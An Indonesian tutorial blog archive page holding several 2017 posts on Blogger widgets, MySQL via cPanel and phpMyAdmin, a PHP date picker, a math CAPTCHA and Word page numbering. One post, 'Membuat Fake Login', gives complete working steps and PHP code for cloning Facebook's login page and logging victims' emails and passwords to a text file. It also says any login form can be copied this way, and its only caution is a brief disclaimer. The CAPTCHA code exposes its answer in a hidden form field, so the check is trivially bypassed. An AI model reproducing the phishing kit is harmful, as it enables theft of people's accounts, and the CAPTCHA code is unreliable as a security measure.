Blog & Tutorial

Senin, 27 November 2017

Menampilkan Widget Recent Comment atau Komentar Terbaru pada Blogger

Administrator Senin, 27 November 2017 0
Menampilkan Widget Recent Comment atau Komentar Terbaru pada Blogger
Kita berjumpa lagi dalam tutorial selanjutnya. Tutorial kali ini merupakan tutorial lawas namun masih juga diperlukan dan ditampilkan pada blog Kita, yakni menampilkan komentar terbaru pada blog. Blog kali ini menggunakan blogger / blogspot. Fungsi dari menampilkan komentar terbaru ini juga menguntungkan buat pemilik blog, hal ini dikarenakan mudah dilihat ketika terdapat komentar terbaru, pemilik blog bisa mengetahuinya lewat halaman pengunjung dan membalas komentar tersebut sehingga terdapat interaksi antara komnetar pengunjung dan pemilik. Selama ini sering Kita jumpai apabila pemilik blog jarang menjawab, mungkin salah satunya ketidak tahuan apabila ada pertanyaan pada komentar artikel yang bersangkutan. Sebagai contoh, Anda dapat melihat bagian kiri halaman ini.

Source code ini bukan buatan saya tapi buatan Hans Oosting yang beralamat di http://beautifulbeta.blogspot.com. Dengan source code ini kita bisa mengedit sendiri "Recent Comment" sesuai dengan keinginan,yang jelas jika kita sudah punya basic pemrograman pasti bisa mengedit kode ini dengan mudah, asal jangan lupa jangan merubah kode sumber pembuatnya.

Source code terdiri dari 2 bagian, yang pertama yakni bagian file yang berisi code utuk memanggil dan memisah kan file json dari komentar suatu blog dan file yang lainnya berfungsi untuk memanggil file json yang kita buat. Berikut adalah file pertama :
// ----------------------------------------
// SHOW RECENT COMMENTS
// ----------------------------------------
// This functions takes a blogger-feed in JSON
// format and displays it.
//
// Version:2.1
// Date:2007-02-02
// Author:Hans Oosting
// URL:beautifulbeta.blogspot.com
// ----------------------------------------

function showrecentcomments(json) {
 for (var i = 0;
 i < numcomments;
 i++) {
  var entry = json.feed.entry[i];
  var alturl;
  if (i == json.feed.entry.length) break;
  for (var k = 0;
  k < entry.link.length;
  k++) {
   if (entry.link[k].rel == 'alternate') {
    alturl = entry.link[k].href;
    break;
   }
  }
  alturl = alturl.replace("#","#comment-");
  var postlink = alturl.split("#");
  postlink = postlink[0];
  var linktext = postlink.split("/");
  linktext = linktext[5];
  linktext = linktext.split(".html");
  linktext = linktext[0];
  var posttitle = linktext.replace(/-/g," ");
  posttitle = posttitle.link(postlink);
  var commentdate = entry.published.$t;
  var cdyear = commentdate.substring(0,4);
  var cdmonth = commentdate.substring(5,7);
  var cdday = commentdate.substring(8,10);
  var monthnames = new Array();
  monthnames[1] = "Jan";
  monthnames[2] = "Feb";
  monthnames[3] = "Mar";
  monthnames[4] = "Apr";
  monthnames[5] = "May";
  monthnames[6] = "Jun";
  monthnames[7] = "Jul";
  monthnames[8] = "Aug";
  monthnames[9] = "Sep";
  monthnames[10] = "Oct";
  monthnames[11] = "Nov";
  monthnames[12] = "Dec";
  if ("content" in entry) {
   var comment = entry.content.$t;
  }
  elseif ("summary" in entry) {
   var comment = entry.summary.$t;
  }
  else var comment = "";
  var re = /<\S[^>]*>/g;
  comment = comment.replace(re,"");
  if (!standardstyling) document.write('<div class="bbrecpost">');
  if (showcommentdate == true) document.write('On '+monthnames[parseInt(cdmonth,10)]+' '+cdday+' ');
  document.write('<a href="'+alturl+'">'+entry.author[0].name.$t+'</a>commented');
  if (showposttitle == true) document.write(' on '+posttitle);
  if (!standardstyling) document.write('</div><div class="bbrecpostsum">');
  if (comment.length < numchars) {
   if (standardstyling) document.write('<i>');
   document.write(comment);
   if (standardstyling) document.write('</i>');
  }
  else {
   if (standardstyling) document.write('<i>');
   comment = comment.substring(0,numchars);
   var quoteEnd = comment.lastIndexOf(" ");
   comment = comment.substring(0,quoteEnd);
   document.write(comment+'...<a href="'+alturl+'">(more)</a>');
   if (standardstyling) document.write('</i>');
  }
  if (!standardstyling) document.write('</div>');
 }
 if (!standardstyling) document.write('<div class="bbwidgetfooter">');
 document.write('<span style="font-size:80%;">Widget by <a href="http://hackosphere.blogspot.com">Hackosphere</a>Powered by <a href="http: //beautifulbeta.blogspot.com">Beautiful Beta</a></span>');
 if (!standardstyling) document.write('</div>');
}
Copy file di atas pada notepad kemudian simpan dengan extensi txt. Setelah itu, letakkan pada hosting yang Anda miliki, baik hosting yang gratis ataupun yang berbayar, hal ini agar file json tersebut mudah diakses. Setelah selesai, kita buat code yang kedua. Code yang kedua ini berfungsi untuk memanggil code yang pertama kita buat tadi. Berikut code-nya.
<script style="text/javascript" src="link tempat Anda menyimpan code pertama"></script>
<script style="text/javascript">
//jumlah komentar yang akan ditampilkan
var numcomments = 5;
//untuk menampilkan tanggal komentar
var showcommentdate = true;
//untuk menampilkan judul posting
var showposttitle = true;
//panjang karakter komentar yang ditampilkan
var numchars = 100;
var standardstyling = true;
</script>
<script src="http://alamat blog Anda/feeds/comments/default?alt=json-in-script&callback=showrecentcomments"></script>

Letakkan code di atas pada gadget HTML/JavaScript di menu tata letak halaman admin blogger. Kumpulan code di atas akan menampilkan recent comment standar. Namun bila Anda ingin seperti atau bahkan ingin megubah tampilan recent comment sebelah kanan blog ini, silahkan Anda download code pertama pada tombol di bawah ini dan silahkan letakkan pada hsoting Anda atau bisa juga gunakan url berikut pada code ke dua http://demo.contohnya.net/file/ndung.txt. Selamat mencoba.


Sabtu, 25 November 2017

Membuat Tabel, Field dan Record pada MySQL dengan phpMyAdmin (Manual)

Administrator Sabtu, 25 November 2017 0
Membuat Tabel, Field dan Record pada MySQL dengan phpMyAdmin (Manual)
Setelah kemarin kita belajar dasar membuat database pada cpanel, kali ini kita membuat tabel yang didalamnya terdapat field yang berisi record. Kesemua itu saling berhubungan. Bingung? Ok, kita akan membahas sedikit mengenai ketiganya.
  • Tabel, menghimpun sejumlah field dan record, misalnya tabel Mahasiswa yang terdiri dari field Jurusan yang memiliki record Teknik Komputer, Teknik Informatika dan Sistem Inormasi.
  • Field, merupakan data terkecil yang memiliki makna, istilah lainnya disebut elemen data, atribut maupun kolom item. Misalnya Nama Mahasiswa, NIM dan Jurusan .
  • Record, merupakan kumpulan atau elemen dari data yang saling terkait. Contohnya field nama yang memiliki record Adi, Budi dan Sandi. Record merupakan elemen - elemen data dari field dan biasanya dinyatakan sebagai tupel atau baris. (Sumber)
Tampilan window database pada cpanel
Membuat Tabel
Nah, selanjutnya kita akan membuat tabel terlebih dahulu. Seperti biasa, Kita anggap Anda sudah melakukan login pada cpanel hosting Anda. Kemudia, carilah window database dan klik icon phpMyAdmin (gambar atas). Maka Anda akan diarahkan menuju halaman phpMyAdmin yang didalamnya terdapat database yang sudah kita buat kemarin.
Tampilan halaman phpMyAdmin
Pada gambar di atas, dapat kita lihat pada bagian kiri, merupakan database yang telah kita buat kemarin yakni bernama contohny_demo kemudian pada bagian kiri terdapat window untuk membuat tabel. Pada nama, adalah nama tabel yang akan Kita buat, sedangkan pada jumlah kolom merupakan jumlah field yang akan kita buat. Sebagai contoh, kita akan membuat tabel dengan nama percobaan dengan jumlah field 4 buah.

Membuat Field
Tampilan pembuatan tabel database pada phpMyAdmin
Tampilan di atas merupakan beberapa baris untuk membuat field dan beberapa kolom sebagai fungsinya. Berikut ini akan Kita sedikit menjelaskan satu persatu.

  1. Kolom nama berfungsi untuk memberikan penamaan suatu field yang akan digunakan. Pada kali ini, Kita akan membuat field id, nama, alamat, umur.
  2. Type merupakan type data dari field tersebut, diantaranya ada int, text, varcar, dll. Untuk type ini, lebih jelasnya Anda dapat membaca di sini (sumber). Kita akan membuat type (secara berurut sesuai kolom nama) int, varcar, text, int.
  3. Kolom Length/Values berfungsi untuk menentukan panjang dari record yang akan diisi nantinya sesuai dengan kolom nama.
  4. Centang sala satu nama. AI atau Auto Increament otomatis akan bertambah nilainya jika terjadi penambahan row pada table dimana field tersebut berada. Biasanya digunakan pada nama id suatu tabel. Kali ini, field id untuk AI nya kita centang dan pada kolom index kita pilih primary pada nama id tersebut.
  5. Setelah itu, tekan save untuk melkukan penyimpanan pembuatan field.

Lebih jelasnya, silahkan lihat gambar di bawah ini.
Tampilan pembuatan field
Membuat Record
Kali ini dalam pembatannya mudah. Kita hanya mengisi record pada field yang telah kita buat. Bagaimana caranya? Tentukan dahulu tabel yang akan diisi record (nomer 1) kemudian pilih insert (nomer 2). Maka Anda akan dialihkan pada halaman isi data field.
Pembuatan tabel sukses
Setelah Anda dialihkan pada halaman pengisian data field, selanjutnya silahkan Anda mengisi kolom atau form sesuai dengan namanya. Sebagai contoh, silahkan Anda lihat pada gambar di bawah ini.
Pengisian record
Pada gambar di atas dapat kita lihat berdasarkan nomer, yakni :
  1. Merupakan kolom ID, boleh diisi boleh tidak dan karena merupakan Auto Increament, lebih baik dikosongkan karena akan otomatis terisi dan bertambah +1 setiap ada data masuk.
  2. Merupakan kolom Nama yang panjang maksimal 30 karakter termasuk spasi. Jadi, tidak boleh melebihi 30 karakter.
  3. Merupakan kolom alamat dan panjangnya karakternya 0 s/d 65.535 (216 – 1) karakter (sumber).
  4. Umur, dikarenakan tipenya adalah integer (int) maka harus disi dengan angka maksimal 3 digit.
  5. Klik go agar data yang telah diisi tersimpan pada database.

Setelah selesai maka data Anda yang telah dibuat diatas telah telah tersimpan pada database. Untuk melihat hasilnya, Anda dapat menekan menu browse pada kiri atas. Anda dapat melihat hasilnya sesuai dengan gambar berikut.
Hasil penyimpanan data pada database
Nah, mudah bukan untuk membuatnya secara manual? Selamat mencoba dan sampai jumpa lagi dengan cara yang otomatis.

Jumat, 24 November 2017

Membuat Database MySQL pada CPanel

Administrator Jumat, 24 November 2017 0
Membuat Database MySQL pada CPanel
Basis data (database) adalah kumpulan informasi yang disimpan di dalam komputer secara sistematik sehingga dapat diperiksa menggunakan suatu program komputer untuk memperoleh informasi dari basis data tersebut. Perangkat lunak yang digunakan untuk mengelola dan memanggil kueri (query) basis data disebut sistem manajemen basis data (database management system, DBMS). Sistem basis data dipelajari dalam ilmu informasi.(sumber).

Dalam pembuatan database ini cukup mudah. Saat ini, tinggal klik, maka database yang diinginkan sudah terbentuk tanpa harus mengetikkan query yang cukup panjang. Ok, langsung saja Kita mencoba membangunnya. Pertama tama, silahkan Anda melakukan login ke dalam cpanel hosting Anda. Biasanya, alamat tersebut berada pada http://namadomainanda.com/cpanel namun tidak menutup kemungkinan bukan itu :)

Kita anddap Anda sudah berhasil login pada cpanel Anda. Selanjutnya Kita cari tabel database dan klik icon MySQL database.

Tampilan cpanel pada hosting

Setelah Anda klik icon yang dimaksud, maka Kita akan diarahakan ke halaman manajemen database. Kemudian, pada bagian create new database, silahkan Anda ketik nama database yang Anda inginkan kemudian klik tombol create database maka database akan terbuat.

Tampilan halaman pembuatan database

Langkah selanjutnya adalah menambahakan user dan password yang berfungsi untuk inisialisasi user siapa yang bisa mengakses database. Anda tinggal scroll kebawah halaman pembuatan database tadi. Pada contoh ini, user yang Kita gunakan menggunakan nama coba. Kemudian tentukan password dari user yang bernama coba tadi. Buatlah password yang orang lain susah untuk menebaknya. Setelah itu klik create user maka user database akan terbentuk.

Tampilan halaman pembuatan user database

Langkah selanjutnya adalah menghubungkan antara database dengan user yang sudah dibuat sebelumnya. Hal ni cukup mudah, kita hanya memilih database mana yang akan dihubungkan dengan user yang mana. Hal ini dibuat yang berfungsi untuk menghubungkan antara web yang kita bangun dengan database yang digunakan.

Menentukan database dan user yang akan dihubungkan.

Klik add dan Anda akan dialihkan ke halaman Manage User Privileges yang berfungsi untuk menentukan aktifitas apa saja yang bisa dilakukan user yang baru dihubungkan tadi. Apabila boleh melakukan segala aktifitas, maka centang ALL PRIVILEGES pada bagian atas halaman tersebut dan tekan make changes.

Pengaturan Manage User Privileges

Sangat mudah bukan :) Demikianlah tutorial kali ini mengenai pembuatan database, membuat user database dan menghubungkannya. Semoga membantu dan semoga berhasil.

Kamis, 23 November 2017

Membuat pilihan Tanggal dengan ComboBox pada PHP

Administrator Kamis, 23 November 2017 0
Membuat pilihan Tanggal  dengan ComboBox pada PHP
Biasanya ketika kita membuat suatu web, pastinya terdapat unsur tanggal bukan? Nah, disini saya akan menuliskan bagaimana cara membuatnya dengan bahasa PHP. Salah satu cara untuk memilih tanggal adalah menggunakan ComboBox. Tujuan dengan menggunakan ComboBox adalah untuk mempermudah user dalam memilih pilihan yang sudah disediakan.
Hal ini juga menghindari kesalahan user dalam penulisan suatu format tanggal yang telah disediakan. Untuk lebih jelasnya, lihat pelajari dan coba script berikut ini:
<?php
//array yang digunakan pada ComboBox bulan
$bln=array(1=>"Januari","Februari","Maret","April","Mei","Juni","July","Agustus","September","Oktober","November","Desember");

//membuat tanggal 1-31 pada ComboBox
echo "Tanggal:<select name=tanggal>
<option value=01 selected>01</option>";
 for($tgl=2; $tgl<=31; $tgl++){
  $tgl_leng=strlen($tgl);
  if ($tgl_leng==1)
   $i="0".$tgl;
  else
   $i=$tgl;
   echo "<option value=$i>$i</option>";
 }
echo "</select>";

//membuat bulan ComboBox
echo "<select name=bulan>
  <option value=Januari selected>Januari</option>";
   for($bulan=2; $bulan<=12; $bulan++){
    echo "<option value=$bulan>$bln[$bulan]</option>";
   }
echo "</select>";

//Membuat tahun 1900 sampai sekarang pada ComboBox
$now=date("Y");
echo "<select name=tahun>
 <option value=1900 selected>1900</option>";
  for($thn=1901; $thn<=$now; $thn++){
   echo "<option value=$thn>$thn</option>";
  }
echo "</select>";
?>

Nah, kita bisa lihat dengan menggunakan beberapa baris kode di atas, kita sudah biasa membuat pemilhan tanggal-bulan-tahun. Misalnya dari ComboBox tanggal, hanya dengan beberapa baris kode sudah terdapat pilihan tanggal antara tanggal 1-31. Begitu juga dengan tahun, sudah terdapat pilihan antara tahun 1900 hingga sekarang. Nah, mudah bukan? Sekarang giliran anda untuk mencoba bagooos

Noted : Script di atas belum mengunakan validasi tanggal kabisat.


Selasa, 21 November 2017

Membuat Captcha Model Penjumlahan

Administrator Selasa, 21 November 2017 0
Membuat Captcha Model Penjumlahan
CAPTCHA atau Captcha adalah suatu bentuk uji tantangan-tanggapan (challange-response test) yang digunakan dalam perkomputeran untuk memastikan bahwa jawaban tidak dihasilkan oleh suatu komputer (aplikasi bot-pen). Proses ini biasanya melibatkan suatu komputer (server) yang meminta seorang pengguna untuk menyelesaikan suatu uji sederhana yang dapat dihasilkan dan dinilai oleh komputer tersebut. Karena komputer lain tidak dapat memecahkan CAPTCHA, pengguna manapun yang dapat memberikan jawaban yang benar akan dianggap sebagai manusia.(sumber)

Biasanya captcha ini berada pada suatu form, entah itu form pendaftaran atau form postingan. Hal ini juga sebagai salah satu security dalam menghindari proses yang secara terus menerus (looping forever) yang biasanya dilakukan oleh mesin (komputer / sistem). Dengan kata lain, captcha ini merupakan salah satu validasi yang memastikan bahwa yang sedan melakukan aktifitas adalah manusia, bukan sistem komputer.

Sering kita menjumpai jenis captcha, umumnya kita melihat captcha milik google. Modelnya pun bermacam macam, dari validasi penulisan kata, gambar bahkan nomer. Nah, pada kali ini Kita akan membuat captcha sederhana buatan kita sendiri. Yakni menggunakan perhitungan matematika :)

Sebelum membuat, Kita harus memahami pembuatan form menggunakan PHP secara dasarnya. Kali ini kita hanya membuat 1 textbox dan 1 tombol submit saja guna pengetikan hasil perhitungan dan proses validasi captcha yang diinginkan.
<?php
    $_SESSION['n1'] = rand(1,99); //mendapatkan nilai 1
    $_SESSION['n2'] = rand(1,9); //mendapatkan nilai 2
    $_SESSION['hasil'] = $_SESSION['n1']+$_SESSION['n2']; //menjumlahkan nilai 1 dan nilai 2
?>
Code di atas merupakan fungsi session yakni sebuah fungsi yang dapat menyimpan nilai sementara pada browser dan fungsi ini terus bekerja hingga browser yang digunakan di close. Letakkan code di atas pada bagian atas file yang digunakan. Session kali ini menggunakan 3 buah nama yakni
  • n1 yang berfungsi menyimpan nilai pertama.
  • n2 yang berfungsi menyimpan nilan kedua.
  • hasil yang berfungsi menjumlahkan nilai pertama dan kedua. Anda juga bebas mengganti fusngsi matematikanya, baik itu diubah menjadi pengurangan, perkalian atau lain sebagainya.
sedangkan rand merupakan fungsi untuk mengacak suatu angka yang sudah ditentukan. Pada contoh di atas, n1 adalah angka 1 hingga 99 dan n2 adalah angka dari 1 hingga 9. Setelah itu, kita buat form nya yang meliputi textbox dan tombol submit.
<form action="?page=action" method="post">
 <table style="font-family:monospace;font-size: 13px;" border="0" width="455">
        <tr>
   <td valign="top">Berapa <?php echo "".$_SESSION[n1]." + ".$_SESSION[n2]."?"; ?></td>
   <td valign="top">:</td>
   <td><input name="captcha" type="text" size="25" placeholder="<?php echo $_SESSION[n1]."+".$_SESSION[n2]."="; ?>"/>
       <input type="hidden" name="captcha2" size="5" maxlength="5" value="<?php echo $_SESSION[hasil]; ?>""/><br/>
  </tr> 
  <tr colspan="4">
   <td><input type="submit" name="simpan" value="Eksekusi"/></td>
  </tr>   
  </tbody>
 </table>
</form>
Potongan code di atas berfungsi untuk menampilkan form yang sebelumnya telah dijelaskan. Penulis menggunakan <table> agar tampilan menarik untuk dilihat. Sedangkan fungsi session, sudah Kita bahas sebelumnya. Setelah selesai, sekarang kita tuliskan kode yang berfungsi untuk melakukan eksekusi captcha di atas. Letakkan code berikut ini pada bagian paling bawah file yang digunakan.
<?php
    //apabila tombol submit ditekan
    if($_POST['simpan']=="Eksekusi"){
        //apabila penjumlahan dan inputan tidak sama
        if(($_POST['captcha'] != $_POST['captcha2'])){
            echo "hasilnya tidak tepat";
        }
        //apabila penjumlahan dan inputan sama
        else{
            echo "Hasilnya tepat";
        }
    }    
?>
Apabila semua code sudah selesai tertulis, silahkan simpan dengan nama terserah Anda namun menggunakan extensi .php dan letakkan file tersebut pada hosting, baik online ataupun offline untuk mencoba eksekusi. Untuk lebih jelasnya, Anda dapat melihat halaman contoh dengan menekan tombol contoh di bawah ini atau juga bisa mendownloadnya. Selamat mencoba dan semoga berhasil.


Minggu, 19 November 2017

Membuat Fake Login atau Login Palsu pada Facebook

Administrator Minggu, 19 November 2017 0
Membuat Fake Login atau Login Palsu pada Facebook
Setelah beberapa lalu ktia membahas mengenai teori social engineering untuk mendapatkan ID facebook orang lain, sekarang Kita coba belajar membuat fake login tersebut. Pertama tama kita ambil dulu sourcer code asli dari halaman aslinya. Dalam hal ini kita ambil contoh facebook. Untuk mengetahui source code facebook ini sangat mudah. Pertama kunjungi halaman facebook kemudian klik kanan mouse kemudian pilih view page source jika Anda menggunakan browser google chrome. Setelah terbuka, silahkan copy source code tersebut. Setelah itu, buat dahulu file dengan extensi php pada hosting kemudian paste-kan kode tersebut pada file yang baru dibut tersebut. Dalam hal ini saya buat dengan nama login.html. Sekarang Anda coba akses file tersbut. Apabila tampilan sesuai dengan facebook, berarti berhasil. Anda dapat melihat gambarnya di bawah ini. :

Halaman login facebook

Source code facebook

Tampilan sukses

Setelah Anda menyimpan file source code tersebut, sekarang cari potongan kode (menggunakan fungsi find atau ctrf+f) id="login_form". Setelah ketemu, ubah action-nya menjadi login.php. Hal ini berfungsi untuk, apabila korban login pada halaman palsu facebook yang telah buat, korban akan dialihkan ke file login.php. Isi dari file login.php adalah sebagai berikut :
<?php
 //menentukan nama file
 $file = "hasil.txt";
 //apabila file ada, akan melakukan proses slenjutnya
 //apabila tidak ada, file hasil.txt dibuat
 //kemudian ke proses selanjutnya
 $a= fopen($file, 'a+') or die("can't open file");
 //mengakap variabel yang dikirim dari file login.html
 $text = "$_POST[email] -> $_POST[pass]\r\n";
 //setelah didapatkan, variabel tersebut ditulis
 $write=fwrite($a, $text);
 //file ditutup kembali
 fclose($a);

 //halaman dialihkan otomatis ke halaman asli facebook
 echo"<script language=javascript>window.location='http://www.facebook.com'</script>";
?>

Setelah selesai, upload file login.html dan login.php yang telah kita buat ke server host. Kemudian buka alamat URL login.html yang telah Anda buat dan cobalah melakukan login. Jika sudah, sekarang silahkan buka alamat URL hasil.txt. Apabila sudah tertulis, berarti pekerjaan Kita telah berhasil. Anda dapat mengubah tampilan hasil.txt sesuai selera. Tidak hanya facebook yang bisa dilakukan, semua form login apapun dapat dibuat halaman palsunya namun caranya tetap sama dengan memanfaatkan ketidak tahuan korban (social engineering).

Dilarang keras membuat dengan tujuan yang tidak baik!!!

FYI : Penarapan hal ini bisa berdampak di-suspend-nya / diblokirnya hosting Anda!!!


Sabtu, 18 November 2017

Membuat dan Mengatur Posisi Nomor Halaman di Word

Administrator Sabtu, 18 November 2017 0
Membuat dan Mengatur Posisi Nomor Halaman di Word
Dalam penggunaannya, Microsoft Word hingga saat ini sangat dibutuhkan dalam segala hal, baik itu untuk perkantoran, perkuliahan bahkan pelajar saat ini juga banyak tugas yang harus diselesaikan dengan pengetikan yang salah satunya menggunakan Microsoft Word. Banyak kesulitan yang dialami dalam sutau format pengetikan, salah satunya adalah penomoran halaman. Berikut ini adalah jenis dan langkahnya.

Membuat Nomor Halaman Pada Dokumen

  1. Pada Insert tab, Header & Footer, klik Page Number.
    Header Footer Group
  2. Pilih letak nomor halaman:
    • Top of Page, untuk menempatkan nomor halaman di bagian atas (header).
    • Bottom of Page, untuk menempatkan nomor halaman di bagian bawah (footer).
    • Page Margins, untuk menempatkan nomor halaman di dekat marjin halaman.
    • Current Position, untuk menempatkan nomor halaman di posisi kursor.
  3. Klik bentuk nomor halaman yang diinginkan dari galeri.
  4. Tutup header/footer dengan mengklik ganda pada area dokumen atau klik tombol Close Header and Footer.


Merubah Format Nomor Halaman

    Misalnya, merubah dari format 1,2,3 ke format i,ii,iii.
  1. Klik ganda pada header/footer tempat nomor halaman berada untuk memunculkan Header & Footer Tools.
  2. Pada Design tab, Header & Footer, klik Page Number, dan kemudian klik Format Page Numbers.
    Page Number Format
  3. Di kotak dialog PageNumber Format, bagian Number format, klik tanda panah dan pilih gaya penomoran yang diinginkan.
  4. Klik OK.


Merubah Penomoran Halaman

  1. Klik ganda pada header/footer untuk memunculkan Header & Footer Tools.
  2. Pada Design tab, Header & Footer, klik Page Number, dan kemudian klik Format Page Numbers.
  3. Di kotak dialog PageNumber Format, bagian Page numbering, pillih:
    • Continue from previous section, untuk melanjutkan nomor halaman dari section sebelumnya.
    • Start at dan isi nomor pada kotak di sampingnya, untuk memulai penomoran dari nomor tertentu.
  4. Klik OK.


Merubah Jenis dan Ukuran Font Nomor Halaman

  1. Klik ganda pada header/footer tempat nomor halaman berada untuk memunculkan Header & Footer Tools.
  2. Pilih/sorot nomor halaman.
  3. Pada mini toolbar yang muncul, lakukan format yang diinginkan.
    mini toolbar


Membuat Letak Nomor Halaman Yang Berbeda Di Halaman Ganjil Dan Genap

Different Odd Even Pages
Seperti contoh di atas, kita akan membuat halaman ganjil memiliki nomor halaman di sebelah kanan. Pada halaman genap, nomor halaman di sebelah kiri.
  1. Klik ganda pada header/footer tempat nomor halaman berada untuk memunculkan Header & Footer Tools.
  2. Pada Design tab, grup Options, centang kotak Different Odd & Even Pages.
    Header Footer Option
  3. Pada halaman ganjil, buat nomor halaman di sebelah kanan.
  4. Kemudian pindah ke halaman genap, dan buat nomor halaman dengan posisi di sebelah kiri.
  5. Selanjutnya setiap kita menambah halaman baru, maka posisi nomor halaman akan mengikuti format yang telah dibuat.


Membuat Letak Nomor Halaman Pertama Yang Berbeda Pada Setiap Bab

Different First Page
Seperti contoh pada gambar, halaman pertama pada setiap bab akan berbeda posisinya dengan halaman-halaman yang lain. Biasanya untuk pengaturan seperti ini, ada yang memisahkan setiap bab dalam dokumen yang berbeda.

Tetapi dengan penggunaan section break maka kita dapat menggabungkan beberapa bab dalam dokumen yang sama.
  1. Klik ganda pada header/footer untuk memunculkan Header & Footer Tools.
  2. Pada Design tab, grup Options, centang kotak Different First Page.
  3. Pada halaman pertama, buat nomor halaman seperti contoh pada gambar.
  4. Kemudian pindah ke halaman kedua, dan beri nomor halaman di kanan atas.
  5. Selanjutnya kita akan membuat section baru untuk memisahkan antar bab.
  6. Taruh kursor di bagian yang ingin dibuat section baru (contoh pada gambar: di tulisan Chapter 2).
  7. Pada Page Layout tab, Page Setup, klik Breaks.
  8. Dalam grup Section Breaks , pilih jenis break Next Page. Sekarang lihat format nomor halaman pada section 2 akan sama dengan section 1.
  9. Selanjutnya bila kita ingin menambahkan bab baru, ikuti langkah 6-8.


Membuat Format Nomor Halaman Yang Berbeda Dalam Dokumen Yang Sama

Format Nomor Halaman Berbeda

Seperti contoh pada gambar, halaman Daftar Isi menggunakan format angka romawi (i,ii, iii, dst) sedangkan isi menggunakan angka arab (1,2,3, dst).

Pada bagian ini juga akan digunakan Section Break .
  1. Pisahkan antar bagian (Daftar Isi dan The Article) dengan section break. Pilih tipe break Next Page.

    Tip: Kita bisa membuat section break dahulu, baru kemudian mengetikkan isi dokumen. Tandai dengan judul masing-masing section.
  2. Pada Insert tab, Header & Footer, klik Page Number dan pilih Format Page Numbers.
  3. Pada bagian Number format, pilih format angka romawi. Setelah selesai klik OK.
  4. Ulangi langkah 2 dan sekarang pilih Bottom of Page untuk menyisipkan nomor halaman.
  5. Klik ganda pada footer di Section 2 (bagian The Article). Lihat contoh pada gambar.
    Page Number - Footer
  6. Selanjutnya pada grup Header & Footer, klik Page Number dan pilih Format Page Numbers.
  7. Pada Page numbering klik Start At dan ketikkan angka 1. Setelah selesai klik OK.


Menghilangkan Nomor Halaman

  1. Pada Insert tab, grup Header & Footer, klik Page Number.
  2. Pilih Remove Page Numbers.
  3. Untuk menghapus secara manual, klik header/footer dan pilih nomor halaman. Kemudian tekan tombol Delete.
  4. Catatan:
    Jika ada membuat different first-page atau odd and even header/footer, atau memiliki section yang tidak terhubung, maka pastikan untuk menghapus setiap nomor halaman pada tiap header/footer.

Sumber : http://blog.xinthinx.us/2011/10/cara-membuat-dan-mengatur-posisi-nomor.html